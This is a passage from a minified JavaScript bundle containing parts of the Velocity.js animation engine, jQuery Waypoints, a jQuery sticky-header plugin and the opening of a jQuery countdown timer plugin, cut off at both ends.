"):i=n;i&&(r="perspective"+i+" "+r),g.setPropertyValue(e,"transform",r)}};g.Hooks.register(),g.Normalizations.register(),m.animate=function(){function e(e){var t=e;return"string"==typeof e?m.Easings[e]||(t=!1):t=!!a(e)&&l.apply(null,e),!1===t&&(t=m.Easings[m.defaults.easing]?m.defaults.easing:"swing"),t}function u(){function t(){function t(t){var n=i,r=i,c=i;return a(t)?(n=t[0],!a(t[1])&&/^[\d-]/.test(t[1])||o(t[1])?c=t[1]:("string"==typeof t[1]||a(t[1]))&&(r=e(t[1]),t[2]&&(c=t[2]))):n=t,r=r||l.easing,o(n)&&(n=n.call(s,w,T)),o(c)&&(c=c.call(s,w,T)),[n||0,r,c]}function p(e,t){var n,i;return i=(t||0).toString().toLowerCase().replace(/[%A-z]+$/,function(e){return n=e,""}),n||(n=g.Values.getUnitType(e)),[i,n]}function S(){var e={parent:s.parentNode,position:g.getPropertyValue(s,"position"),fontSize:g.getPropertyValue(s,"fontSize")},t=e.position===k.lastPosition&&e.parent===k.lastParent,i=e.fontSize===k.lastFontSize&&e.parent===k.lastParent;k.lastParent=e.parent,k.lastPosition=e.position,k.lastFontSize=e.fontSize,null===k.remToPxRatio&&(k.remToPxRatio=parseFloat(g.getPropertyValue(n.body,"fontSize"))||16);var r={overflowX:null,overflowY:null,boxSizing:null,width:null,minWidth:null,maxWidth:null,height:null,minHeight:null,maxHeight:null,paddingLeft:null},o={},a=10;if(o.remToPxRatio=k.remToPxRatio,f)var l=/^auto$/i.test(s.currentStyle.width),c=/^auto$/i.test(s.currentStyle.height);for(var u in t&&i||(r.overflowX=g.getPropertyValue(s,"overflowX"),r.overflowY=g.getPropertyValue(s,"overflowY"),r.boxSizing=g.getPropertyValue(s,"boxSizing"),r.width=g.getPropertyValue(s,"width",null,!0),r.minWidth=g.getPropertyValue(s,"minWidth"),r.maxWidth=g.getPropertyValue(s,"maxWidth")||"none",r.height=g.getPropertyValue(s,"height",null,!0),r.minHeight=g.getPropertyValue(s,"minHeight"),r.maxHeight=g.getPropertyValue(s,"maxHeight")||"none",r.paddingLeft=g.getPropertyValue(s,"paddingLeft")),t?(o.percentToPxRatioWidth=k.lastPercentToPxWidth,o.percentToPxRatioHeight=k.lastPercentToPxHeight):(g.setPropertyValue(s,"overflowX","hidden"),g.setPropertyValue(s,"overflowY","hidden"),g.setPropertyValue(s,"boxSizing","content-box"),g.setPropertyValue(s,"width",a+"%"),g.setPropertyValue(s,"minWidth",a+"%"),g.setPropertyValue(s,"maxWidth",a+"%"),g.setPropertyValue(s,"height",a+"%"),g.setPropertyValue(s,"minHeight",a+"%"),g.setPropertyValue(s,"maxHeight",a+"%")),i?o.emToPxRatio=k.lastEmToPx:g.setPropertyValue(s,"paddingLeft",a+"em"),t||(o.percentToPxRatioWidth=k.lastPercentToPxWidth=(parseFloat(g.getPropertyValue(s,"width",null,!0))||1)/a,o.percentToPxRatioHeight=k.lastPercentToPxHeight=(parseFloat(g.getPropertyValue(s,"height",null,!0))||1)/a),i||(o.emToPxRatio=k.lastEmToPx=(parseFloat(g.getPropertyValue(s,"paddingLeft"))||1)/a),r)null!==r[u]&&g.setPropertyValue(s,u,r[u]);return f?(l&&g.setPropertyValue(s,"width","auto"),c&&g.setPropertyValue(s,"height","auto")):(g.setPropertyValue(s,"height","auto"),r.height!==g.getPropertyValue(s,"height",null,!0)&&g.setPropertyValue(s,"height",r.height),g.setPropertyValue(s,"width","auto"),r.width!==g.getPropertyValue(s,"width",null,!0)&&g.setPropertyValue(s,"width",r.width)),m.debug>=1&&console.log("Unit ratios: "+JSON.stringify(o),s),o}if(0===w&&b&&o(b.begin)){var x=y.jquery?y.get():y;b.begin.call(x,x)}if("scroll"===_){var E,$,A,M=/^x$/i.test(l.axis)?"Left":"Top",P=parseFloat(l.offset)||0;l.container?l.container.jquery||l.container.nodeType?(l.container=l.container[0]||l.container,A=(E=l.container["scroll"+M])+h(s).position()[M.toLowerCase()]+P):l.container=null:(E=m.State.scrollAnchor[m.State["scrollProperty"+M]],$=m.State.scrollAnchor[m.State["scrollProperty"+("Left"===M?"Top":"Left")]],A=h(s).offset()[M.toLowerCase()]+P),u={scroll:{rootPropertyValue:!1,startValue:E,currentValue:E,endValue:A,unitType:"",easing:l.easing,scrollData:{container:l.container,direction:M,alternateValue:$}},element:s}}else if("reverse"===_){if(!h.data(s,d).tweensContainer)return void h.dequeue(s,l.queue);"none"===h.data(s,d).opts.display&&(h.data(s,d).opts.display="block"),h.data(s,d).opts.loop=!1,h.data(s,d).opts.begin=null,h.data(s,d).opts.complete=null,l=h.extend({},h.data(s,d).opts,b);var D=h.extend(!0,{},h.data(s,d).tweensContainer);for(var F in D)if("element"!==F){var L=D[F].startValue;D[F].startValue=D[F].currentValue=D[F].endValue,D[F].endValue=L,b&&(D[F].easing=l.easing)}u=D}else if("start"===_){for(var I in h.data(s,d).tweensContainer&&!0===h.data(s,d).isAnimating&&(D=h.data(s,d).tweensContainer),v){var N=t(v[I]),O=N[0],R=N[1],j=N[2];I=g.Names.camelCase(I);var V=g.Hooks.getRoot(I),U=!1;if(!1!==g.Names.prefixCheck(V)[1]||g.Normalizations.registered[V]!==i){var B,H,W,z,q;if(l.display&&"none"!==l.display&&/opacity|filter/.test(I)&&!j&&0!==O&&(j=0),l._cacheValues&&D&&D[I]?(j===i&&(j=D[I].endValue+D[I].unitType),U=h.data(s,d).rootPropertyValueCache[V]):g.Hooks.registered[I]?j===i?(U=g.getPropertyValue(s,V),j=g.getPropertyValue(s,I,U)):U=g.Hooks.templates[V][1]:j===i&&(j=g.getPropertyValue(s,I)),j=(B=p(I,j))[0],W=B[1],O=(B=p(I,O))[0].replace(/^([+-\/*])=/,function(e,t){return z=t,""}),H=B[1],j=parseFloat(j)||0,O=parseFloat(O)||0,"%"===H&&(/^(fontSize|lineHeight)$/.test(I)?(O/=100,H="em"):/^scale/.test(I)?(O/=100,H=""):/(Red|Green|Blue)$/i.test(I)&&(O=O/100*255,H="")),/[\/*]/.test(z))H=W;else if(W!==H&&0!==j)if(0===O)H=W;else{q=q||S();var Y=/margin|padding|left|right|width|text|word|letter/i.test(I)||/X$/.test(I)?"x":"y";switch(W){case"%":j*="x"===Y?q.percentToPxRatioWidth:q.percentToPxRatioHeight;break;case"em":j*=q.emToPxRatio;break;case"rem":j*=q.remToPxRatio}switch(H){case"%":j*=1/("x"===Y?q.percentToPxRatioWidth:q.percentToPxRatioHeight);break;case"em":j*=1/q.emToPxRatio;break;case"rem":j*=1/q.remToPxRatio}}switch(z){case"+":O=j+O;break;case"-":O=j-O;break;case"*":O*=j;break;case"/":O=j/O}u[I]={rootPropertyValue:U,startValue:j,currentValue:j,endValue:O,unitType:H,easing:R},m.debug&&console.log("tweensContainer ("+I+"): "+JSON.stringify(u[I]),s)}else m.debug&&console.log("Skipping ["+V+"] due to a lack of browser support.")}u.element=s}u.element&&(C.push(u),h.data(s,d).tweensContainer=u,h.data(s,d).opts=l,h.data(s,d).isAnimating=!0,w===T-1?(m.State.calls.length>1e4&&(m.State.calls=r(m.State.calls)),m.State.calls.push([C,y,l]),!1===m.State.isTicking&&(m.State.isTicking=!0,c())):w++)}var s=this,l=h.extend({},m.defaults,b),u={};if("stop"===_)return h.queue(s,"string"==typeof b?b:"",[]),!0;switch(h.data(s,d)===i&&h.data(s,d,{isAnimating:!1,computedStyle:null,tweensContainer:null,rootPropertyValueCache:{},transformCache:{}}),l.duration.toString().toLowerCase()){case"fast":l.duration=200;break;case"normal":l.duration=400;break;case"slow":l.duration=600;break;default:l.duration=parseFloat(l.duration)||1}l.easing=e(l.easing),/^\d/.test(l.delay)&&h.queue(s,l.queue,function(e){m.velocityQueueEntryFlag=!0,setTimeout(e,parseFloat(l.delay))}),l.display&&(l.display=l.display.toString().toLowerCase()),l.mobileHA=l.mobileHA&&m.State.isMobile,!1===l.queue?t():h.queue(s,l.queue,function(e){m.velocityQueueEntryFlag=!0,t(e)}),""!==l.queue&&"fx"!==l.queue||"inprogress"===h.queue(s)[0]||h.dequeue(s)}var p,y,v,b;this.jquery||t.Zepto&&t.Zepto.zepto.isZ(this)?(p=!0,y=this,v=arguments[0],b=arguments[1]):(p=!1,y=arguments[0].jquery?[].slice.call(arguments[0]):arguments[0],v=arguments[1],b=arguments[2]);var _,T=s(y)||a(y)?y.length:1,w=0;if("stop"!==v&&!h.isPlainObject(b)){b={};for(var S=p?1:2;S<arguments.length;S++)!a(arguments[S])&&/^\d/.test(arguments[S])?b.duration=parseFloat(arguments[S]):"string"==typeof arguments[S]?b.easing=arguments[S]:a(arguments[S])&&4===arguments[S].length?b.easing=arguments[S]:o(arguments[S])&&(b.complete=arguments[S])}switch(v){case"scroll":_="scroll";break;case"reverse":_="reverse";break;case"stop":_="stop";break;default:if(!h.isPlainObject(v)||h.isEmptyObject(v))return"string"==typeof v&&m.Sequences[v]?(h.each(y,function(e,t){m.Sequences[v].call(t,t,b||{},e,T)}),y):(m.debug&&console.log("First argument was not a property map, a known action, or a registered sequence. Aborting."),y);_="start"}var k={lastParent:null,lastPosition:null,lastFontSize:null,lastPercentToPxWidth:null,lastPercentToPxHeight:null,lastEmToPx:null,remToPxRatio:null},C=[];if(b&&b.complete&&!o(b.complete)&&(b.complete=null),p)y.each(u);else if(1===T&&y.nodeType)u.call(y);else for(var x in y)y[x].nodeType&&u.call(y[x]);var E,$=h.extend({},m.defaults,b);if($.loop=parseInt($.loop),E=2*$.loop-1,$.loop)for(var A=0;E>A;A++){var M={delay:$.delay};$.complete&&A===E-1&&(M.complete=$.complete),p?y.velocity("reverse",M):m.animate(y,"reverse",M)}return y};var y=t.jQuery||t.Zepto;y&&(y.fn.velocity=m.animate,y.fn.velocity.defaults=m.defaults),h.each(["Down","Up"],function(e,t){m.Sequences["slide"+t]=function(e,n){var i=h.extend({},n),r={height:null,marginTop:null,marginBottom:null,paddingTop:null,paddingBottom:null,overflow:null,overflowX:null,overflowY:null},o=i.begin,a=i.complete,s=!1;i.display="Down"===t?i.display||"block":i.display||"none",i.begin=function(){function n(){e.style.display="block",r.height=m.CSS.getPropertyValue(e,"height"),e.style.height="auto",m.CSS.getPropertyValue(e,"height")===r.height&&(s=!0),m.CSS.setPropertyValue(e,"height",r.height+"px")}if("Down"===t){for(var i in r.overflow=[m.CSS.getPropertyValue(e,"overflow"),0],r.overflowX=[m.CSS.getPropertyValue(e,"overflowX"),0],r.overflowY=[m.CSS.getPropertyValue(e,"overflowY"),0],e.style.overflow="hidden",e.style.overflowX="visible",e.style.overflowY="hidden",n(),r)/^overflow/.test(i)||(r[i]=[m.CSS.getPropertyValue(e,i),0]);e.style.display="none"}else{for(var i in n(),r)r[i]=[0,m.CSS.getPropertyValue(e,i)];e.style.overflow="hidden",e.style.overflowX="visible",e.style.overflowY="hidden"}o&&o.call(e,e)},i.complete=function(e){var n="Down"===t?0:1;for(var i in!0===s?r.height[n]="auto":r.height[n]+="px",r)e.style[i]=r[i][n];a&&a.call(e,e)},m.animate(e,r,i)}}),h.each(["In","Out"],function(e,t){m.Sequences["fade"+t]=function(e,n,i,r){var o=h.extend({},n),a={opacity:"In"===t?1:0};i!==r-1&&(o.complete=o.begin=null),o.display||(o.display="In"===t?m.CSS.Values.getDisplayType(e):"none"),m.animate(this,a,o)}})}(window.jQuery||window.Zepto||window,window,document), /*! jQuery Waypoints - v2.0.5 Copyright (c) 2011-2014 Caleb Troughton Licensed under the MIT license. https://github.com/imakewebthings/jquery-waypoints/blob/master/licenses.txt */ function(){var e,t,n=[].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1},i=[].slice;e=window,t=function(e,t){var r,o,a,s,l,c,u,d,f,p,h,m,g,y,v,b;return r=e(t),d=n.call(t,"ontouchstart")>=0,s={horizontal:{},vertical:{}},l=1,u={},c="waypoints-context-id",h="resize.waypoints",m="scroll.waypoints",g=1,y="waypoints-waypoint-ids",v="waypoint",b="waypoints",o=function(){function n(n){var i=this;this.$element=n,this.element=n[0],this.didResize=!1,this.didScroll=!1,this.id="context"+l++,this.oldScroll={x:n.scrollLeft(),y:n.scrollTop()},this.waypoints={horizontal:{},vertical:{}},this.element[c]=this.id,u[this.id]=this,n.bind(m,function(){var n;if(!i.didScroll&&!d)return i.didScroll=!0,n=function(){return i.doScroll(),i.didScroll=!1},t.setTimeout(n,e[b].settings.scrollThrottle)}),n.bind(h,function(){var n;if(!i.didResize)return i.didResize=!0,n=function(){return e[b]("refresh"),i.didResize=!1},t.setTimeout(n,e[b].settings.resizeThrottle)})}return n.prototype.doScroll=function(){var t,n=this;return t={horizontal:{newScroll:this.$element.scrollLeft(),oldScroll:this.oldScroll.x,forward:"right",backward:"left"},vertical:{newScroll:this.$element.scrollTop(),oldScroll:this.oldScroll.y,forward:"down",backward:"up"}},!d||t.vertical.oldScroll&&t.vertical.newScroll||e[b]("refresh"),e.each(t,function(t,i){var r,o,a;return a=[],o=i.newScroll>i.oldScroll,r=o?i.forward:i.backward,e.each(n.waypoints[t],function(e,t){var n,r;return i.oldScroll<(n=t.offset)&&n<=i.newScroll?a.push(t):i.newScroll<(r=t.offset)&&r<=i.oldScroll?a.push(t):void 0}),a.sort(function(e,t){return e.offset-t.offset}),o||a.reverse(),e.each(a,function(e,t){if(t.options.continuous||e===a.length-1)return t.trigger([r])})}),this.oldScroll={x:t.horizontal.newScroll,y:t.vertical.newScroll}},n.prototype.refresh=function(){var t,n,i,r=this;return i=e.isWindow(this.element),n=this.$element.offset(),this.doScroll(),t={horizontal:{contextOffset:i?0:n.left,contextScroll:i?0:this.oldScroll.x,contextDimension:this.$element.width(),oldScroll:this.oldScroll.x,forward:"right",backward:"left",offsetProp:"left"},vertical:{contextOffset:i?0:n.top,contextScroll:i?0:this.oldScroll.y,contextDimension:i?e[b]("viewportHeight"):this.$element.height(),oldScroll:this.oldScroll.y,forward:"down",backward:"up",offsetProp:"top"}},e.each(t,function(t,n){return e.each(r.waypoints[t],function(t,i){var r,o,a,s,l;if(r=i.options.offset,a=i.offset,o=e.isWindow(i.element)?0:i.$element.offset()[n.offsetProp],e.isFunction(r)?r=r.apply(i.element):"string"==typeof r&&(r=parseFloat(r),i.options.offset.indexOf("%")>-1&&(r=Math.ceil(n.contextDimension*r/100))),i.offset=o-n.contextOffset+n.contextScroll-r,(!i.options.onlyOnScroll||null==a)&&i.enabled)return null!==a&&a<(s=n.oldScroll)&&s<=i.offset?i.trigger([n.backward]):null!==a&&a>(l=n.oldScroll)&&l>=i.offset?i.trigger([n.forward]):null===a&&n.oldScroll>=i.offset?i.trigger([n.forward]):void 0})})},n.prototype.checkEmpty=function(){if(e.isEmptyObject(this.waypoints.horizontal)&&e.isEmptyObject(this.waypoints.vertical))return this.$element.unbind([h,m].join(" ")),delete u[this.id]},n}(),a=function(){function t(t,n,i){var r,o;"bottom-in-view"===i.offset&&(i.offset=function(){var t;return t=e[b]("viewportHeight"),e.isWindow(n.element)||(t=n.$element.height()),t-e(this).outerHeight()}),this.$element=t,this.element=t[0],this.axis=i.horizontal?"horizontal":"vertical",this.callback=i.handler,this.context=n,this.enabled=i.enabled,this.id="waypoints"+g++,this.offset=null,this.options=i,n.waypoints[this.axis][this.id]=this,s[this.axis][this.id]=this,(r=null!=(o=this.element[y])?o:[]).push(this.id),this.element[y]=r}return t.prototype.trigger=function(e){if(this.enabled)return null!=this.callback&&this.callback.apply(this.element,e),this.options.triggerOnce?this.destroy():void 0},t.prototype.disable=function(){return this.enabled=!1},t.prototype.enable=function(){return this.context.refresh(),this.enabled=!0},t.prototype.destroy=function(){return delete s[this.axis][this.id],delete this.context.waypoints[this.axis][this.id],this.context.checkEmpty()},t.getWaypointsByElement=function(t){var n,i;return(i=t[y])?(n=e.extend({},s.horizontal,s.vertical),e.map(i,function(e){return n[e]})):[]},t}(),p={init:function(t,n){return null==(n=e.extend({},e.fn[v].defaults,n)).handler&&(n.handler=t),this.each(function(){var t,i,r,s;return t=e(this),r=null!=(s=n.context)?s:e.fn[v].defaults.context,e.isWindow(r)||(r=t.closest(r)),r=e(r),(i=u[r[0][c]])||(i=new o(r)),new a(t,i,n)}),e[b]("refresh"),this},disable:function(){return p._invoke.call(this,"disable")},enable:function(){return p._invoke.call(this,"enable")},destroy:function(){return p._invoke.call(this,"destroy")},prev:function(e,t){return p._traverse.call(this,e,t,function(e,t,n){if(t>0)return e.push(n[t-1])})},next:function(e,t){return p._traverse.call(this,e,t,function(e,t,n){if(t<n.length-1)return e.push(n[t+1])})},_traverse:function(n,i,r){var o,a;return null==n&&(n="vertical"),null==i&&(i=t),a=f.aggregate(i),o=[],this.each(function(){var t;return t=e.inArray(this,a[n]),r(o,t,a[n])}),this.pushStack(o)},_invoke:function(t){return this.each(function(){var n;return n=a.getWaypointsByElement(this),e.each(n,function(e,n){return n[t](),!0})}),this}},e.fn[v]=function(){var t,n;return n=arguments[0],t=2<=arguments.length?i.call(arguments,1):[],p[n]?p[n].apply(this,t):e.isFunction(n)?p.init.apply(this,arguments):e.isPlainObject(n)?p.init.apply(this,[null,n]):n?e.error("The "+n+" method does not exist in jQuery Waypoints."):e.error("jQuery Waypoints needs a callback function or handler option.")},e.fn[v].defaults={context:t,continuous:!0,enabled:!0,horizontal:!1,offset:0,triggerOnce:!1},f={refresh:function(){return e.each(u,function(e,t){return t.refresh()})},viewportHeight:function(){var e;return null!=(e=t.innerHeight)?e:r.height()},aggregate:function(t){var n,i,r;return n=s,t&&(n=null!=(r=u[e(t)[0][c]])?r.waypoints:void 0),n?(i={horizontal:[],vertical:[]},e.each(i,function(t,r){return e.each(n[t],function(e,t){return r.push(t)}),r.sort(function(e,t){return e.offset-t.offset}),i[t]=e.map(r,function(e){return e.element}),i[t]=e.unique(i[t])}),i):[]},above:function(e){return null==e&&(e=t),f._filter(e,"vertical",function(e,t){return t.offset<=e.oldScroll.y})},below:function(e){return null==e&&(e=t),f._filter(e,"vertical",function(e,t){return t.offset>e.oldScroll.y})},left:function(e){return null==e&&(e=t),f._filter(e,"horizontal",function(e,t){return t.offset<=e.oldScroll.x})},right:function(e){return null==e&&(e=t),f._filter(e,"horizontal",function(e,t){return t.offset>e.oldScroll.x})},enable:function(){return f._invoke("enable")},disable:function(){return f._invoke("disable")},destroy:function(){return f._invoke("destroy")},extendFn:function(e,t){return p[e]=t},_invoke:function(t){var n;return n=e.extend({},s.vertical,s.horizontal),e.each(n,function(e,n){return n[t](),!0})},_filter:function(t,n,i){var r,o;return(r=u[e(t)[0][c]])?(o=[],e.each(r.waypoints[n],function(e,t){if(i(r,t))return o.push(t)}),o.sort(function(e,t){return e.offset-t.offset}),e.map(o,function(e){return e.element})):[]}},e[b]=function(){var e,t;return t=arguments[0],e=2<=arguments.length?i.call(arguments,1):[],f[t]?f[t].apply(null,e):f.aggregate.call(null,t)},e[b].settings={resizeThrottle:100,scrollThrottle:30},r.on("load.waypoints",function(){return e[b]("refresh")})},"function"==typeof define&&define.amd?define("waypoints",["jquery"],function(n){return t(n,e)}):t(e.jQuery,e)}.call(this),function(e){var t={topSpacing:0,bottomSpacing:0,className:"is-sticky",wrapperClassName:"sticky-wrapper",center:!0,getWidthFrom:""},n=e(window),i=e(document),r=[],o=n.height(),a=function(){for(var t=n.scrollTop(),a=i.height(),s=a-o,l=t>s?s-t:0,c=0;c<r.length;c++){var u=r[c];if(t<=u.stickyWrapper.offset().top-u.topSpacing-l)null!==u.currentTop&&(u.stickyElement.css({position:"",top:""}),window.innerWidth>=770&&u.stickyElement.css({left:"",transform:""}),u.stickyElement.parent().removeClass(u.className),u.currentTop=null);else{var d=a-u.stickyElement.outerHeight()-u.topSpacing-u.bottomSpacing-t-l;d<0?d+=u.topSpacing:d=u.topSpacing,u.currentTop!==d&&(u.stickyElement.css({position:"fixed",top:d}),u.stickyElement.parent().addClass(u.className),u.currentTop=d),window.innerWidth>=770&&u.stickyElement.css({maxWidth:e(u.getWidthFrom).width(),left:"50%",transform:"translateX(-50%)"})}}},s=function(){o=n.height()},l={init:function(n){var i=e.extend(t,n);return this.each(function(){var t=e(this),n=t.attr("id"),o=e("<div></div>").attr("id",n+"-sticky-wrapper").addClass(i.wrapperClassName);void 0!==t.attr("data-hide-on")&&o.attr("data-hide-on",t.attr("data-hide-on")),t.wrapAll(o),i.center&&(t.parent().css({marginLeft:"auto",marginRight:"auto"}),"desktop"==typeof t.attr("data-hide-on")&&t.parent().css("max-width",t.outerWidth())),"right"==t.css("float")&&t.css({float:"none"}).parent().css({float:"right"});var a=t.parent();a.css("height",t.outerHeight()),r.push({topSpacing:i.topSpacing,bottomSpacing:i.bottomSpacing,stickyElement:t,currentTop:null,stickyWrapper:a,className:i.className,getWidthFrom:i.getWidthFrom})})},update:a,unstick:function(){return this.each(function(){var t=e(this);removeIdx=-1;for(var n=0;n<r.length;n++)r[n].stickyElement.get(0)==t.get(0)&&(removeIdx=n);-1!=removeIdx&&(r.splice(removeIdx,1),t.unwrap(),t.removeAttr("style"))})}};window.addEventListener?(window.addEventListener("scroll",a,!1),window.addEventListener("resize",s,!1)):window.attachEvent&&(window.attachEvent("onscroll",a),window.attachEvent("onresize",s)),e.fn.sticky=function(t){return l[t]?l[t].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof t&&t?void e.error("Method "+t+" does not exist on jQuery.sticky"):l.init.apply(this,arguments)},e.fn.unstick=function(t){return l[t]?l[t].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof t&&t?void e.error("Method "+t+" does not exist on jQuery.sticky"):l.unstick.apply(this,arguments)},e(function(){setTimeout(a,0)})}(jQuery),function(){var e=!1;window.JQClass=function(){},JQClass.classes={},JQClass.extend=function t(n){function i(){!e&&this._init&&this._init.apply(this,arguments)}var r=this.prototype;e=!0;var o=new this;for(var a in e=!1,n)o[a]="function"==typeof n[a]&&"function"==typeof r[a]?function(e,t){return function(){var n=this._super;this._super=function(t){return r[e].apply(this,t)};var i=t.apply(this,arguments);return this._super=n,i}}(a,n[a]):n[a];return i.prototype=o,i.prototype.constructor=i,i.extend=t,i}}(),function($){function camelCase(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}JQClass.classes.JQPlugin=JQClass.extend({name:"plugin",defaultOptions:{},regionalOptions:{},_getters:[],_getMarker:function(){return"is-"+this.name},_init:function(){$.extend(this.defaultOptions,this.regionalOptions&&this.regionalOptions[""]||{});var e=camelCase(this.name);$[e]=this,$.fn[e]=function(t){var n=Array.prototype.slice.call(arguments,1);return $[e]._isNotChained(t,n)?$[e][t].apply($[e],[this[0]].concat(n)):this.each(function(){if("string"==typeof t){if("_"===t[0]||!$[e][t])throw"Unknown method: "+t;$[e][t].apply($[e],[this].concat(n))}else $[e]._attach(this,t)})}},setDefaults:function(e){$.extend(this.defaultOptions,e||{})},_isNotChained:function(e,t){return"option"===e&&(0===t.length||1===t.length&&"string"==typeof t[0])||$.inArray(e,this._getters)>-1},_attach:function(e,t){if(!(e=$(e)).hasClass(this._getMarker())){e.addClass(this._getMarker()),t=$.extend({},this.defaultOptions,this._getMetadata(e),t||{});var n=$.extend({name:this.name,elem:e,options:t},this._instSettings(e,t));e.data(this.name,n),this._postAttach(e,n),this.option(e,t)}},_instSettings:function(){return{}},_postAttach:function(){},_getMetadata:function(d){try{var f=d.data(this.name.toLowerCase())||"";for(var g in f=f.replace(/'/g,'"'),f=f.replace(/([a-zA-Z0-9]+):/g,function(e,t,n){var i=f.substring(0,n).match(/"/g);return i&&i.length%2!=0?t+":":'"'+t+'":'}),f=$.parseJSON("{"+f+"}"),f){var h=f[g];"string"==typeof h&&h.match(/^new Date\((.*)\)$/)&&(f[g]=eval(h))}return f}catch(e){return{}}},_getInst:function(e){return $(e).data(this.name)||{}},option:function(e,t,n){var i=(e=$(e)).data(this.name);if(!t||"string"==typeof t&&null==n)return(r=(i||{}).options)&&t?r[t]:r;if(e.hasClass(this._getMarker())){var r=t||{};"string"==typeof t&&((r={})[t]=n),this._optionsChanged(e,i,r),$.extend(i.options,r)}},_optionsChanged:function(){},destroy:function(e){(e=$(e)).hasClass(this._getMarker())&&(this._preDestroy(e,this._getInst(e)),e.removeData(this.name).removeClass(this._getMarker()))},_preDestroy:function(){}}),$.JQPlugin={createPlugin:function(e,t){"object"==typeof e&&(t=e,e="JQPlugin"),e=camelCase(e);var n=camelCase(t.name);JQClass.classes[n]=JQClass.classes[e].extend(t),new JQClass.classes[n]}}}(jQuery),function(e){var t="countdown",n=0,i=1,r=2,o=3,a=4,s=5,l=6;e.JQPlugin.createPlugin({name:t,defaultOptions:{until:null,since:null,timezone:null,serverSync:null,format:"dHMS",layout:"",compact:!1,padZeroes:!1,significant:0,description:"",expiryUrl:"",expiryText:"",alwaysExpire:!1,onExpiry:null,onTick:null,tickInterval:1},regionalOptions:{"":{labels:["Years","Months","Weeks","Days","Hours","Minutes","Seconds"],labels1:["Year","Month","Week","Day","Hour","Minute","Second"],compactLabels:["y","m","w","d"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1}},_getters:["getTimes"],_rtlClass:t+"-rtl",_sectionClass:t+"-section",_amountClass:t+"-amount",_periodClass:t+"-period",_rowClass:t+"-row",_holdingClass:t+"-holding",_showClass:t+"-show",_descrClass:t+"-descr",_timerElems:[],_init:function(){function t(e){var s=e<1e12?r?performance.now()+performance.timing.navigationStart:i():e||i();s-a>=1e3&&(n._updateElems(),a=s),o(t)}var n=this;this._super(),this._serverSyncs=[];var i="function"==typeof Date.now?Date.now:function(){return(new Date).getTime()},r=window.performance&&"function"==typeof window.performance.now,o=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||null,a=0;!o||e.noRequestAnimationFrame?(e.noRequestAnimationFrame=null,setInterval(function(){n._updateElems()},980)):(a=window.animationStartTime||window.webkitAnimationStartTime||window.mozAnimationStartTime||window.oAnimationStartTime||window.msAnimationStartTime||i(),o(t))},UTCDate:function(e,t,n,i,r,o,a,s){"object"==typeof t&&t.constructor==Date&&(s=t.getMilliseconds(),a=t.getSeconds(),o=t.getMinutes(),r=t.getHours(),i=t.getDate(),n=t.getMonth(),t=t.getFullYear());var l=new Date;return l.setUTCFullYear(t),l.setUTCDate(1),l.setUTCMonth(n||0),l.setUTCDate(i||1),l.setUTCHours(r||0),l.setUTCMinutes((o||0)-(Math.abs(e)<30?60*e:e)),l.setUTCSeconds(a||0),l.setUTCMilliseconds(s||0),l},periodsToSeconds:function(e){return 31557600*e[0]+2629800*e[1]+604800*e[2]+86400*e[3]+3600*e[4]+60*e[5]+e[6]},_instSettings:function(){return{_periods:[0,0,0,0,0,0,0]}},_addElem:function(e){this._hasElem(e)||this._timerElems.push(e)},_hasElem:function(t){return e.inArray(t,this._timerElems)>-1},_removeElem:function(t){this._timerElems=e.map(this._timerElems,function(e){return e==t?null:e})},_updateElems:function(){for(var e=this._timerElems.length-1;e>=0;e--)this._updateCountdown(this._timerElems[e])},_optionsChanged:function(t,n,i){i.layout&&(i.layout=i.layout.replace(/</g,"<").replace(/>/g,">")),this._resetExtraLabels(n.options,i);var r=n.options.timezone!=i.timezone;e.extend(n.options,i),this._adjustSettings(t,n,null!=i.until||null!=i.since||r);var o=new Date;(n._since&&n._since<o||n._until&&n._until>o)&&this._addElem(t[0]),this._updateCountdown(t,n)},_updateCountdown:function(t,n){if(t=t.jquery?t:e(t),n=n||t.data(this.name)){if(t.html(this._generateHTML(n)).toggleClass(this._rtlClass,n.options.isRTL),e.isFunction(n.options.onTick)){var i="lap"!=n._hold?n._periods:this._calculatePeriods(n,n._show,n.options.significant,new Date);1!=n.options.tickInterval&&this.periodsToSeconds(i)%n.options.tickInterval!=0||n.options.onTick.apply(t[0],[i])}if("pause"!=n._hold&&(n._since?n._now.getTime()<n._since.getTime():n._now.getTime()>=n._until.getTime())&&!n._expiring){if(n._expiring=!0,this._hasElem(t[0])||n.options.alwaysExpire){if(this._removeElem(t[0]),e.isFunction(n.options.onExpiry)&&n.options.onExpiry.apply(t[0],[]),n.options.expiryText){var r=n.options.layout;n.options.layout=n.options.expiryText,this._updateCountdown(t[0],n),n.options.layout=r}n.options.expiryUrl&&(window.location=n.options.expiryUrl)}n._expiring=!1}else"pause"==n._hold&&this._removeElem(t[0])}},_resetExtraLabels:function(e,t){var n=!1;for(var i in t)if("whichLabels"!=i&&i.match(/[Ll]abels/)){n=!0;break}if(n)for(var i in e)i.match(/[Ll]abels[02-9]|compactLabels1/)&&(e[i]=null)},_adjustSettings:function(t,n,i){for(var r,o=0,a=null,s=0;s<this._serverSyncs.length;s++)if(this._serverSyncs[s][0]==n.options.serverSync){a=this._serverSyncs[s][1];break}if(null!=a)o=n.options.serverSync?a:0,r=new Date;else{var l=e.isFunction(n.options.serverSync)?n.options.serverSync.apply(t[0],[]):null;r=new Date,o=l?r.getTime()-l.getTime():0,this._serverSyncs.push([n.options.serverSync,o])}var 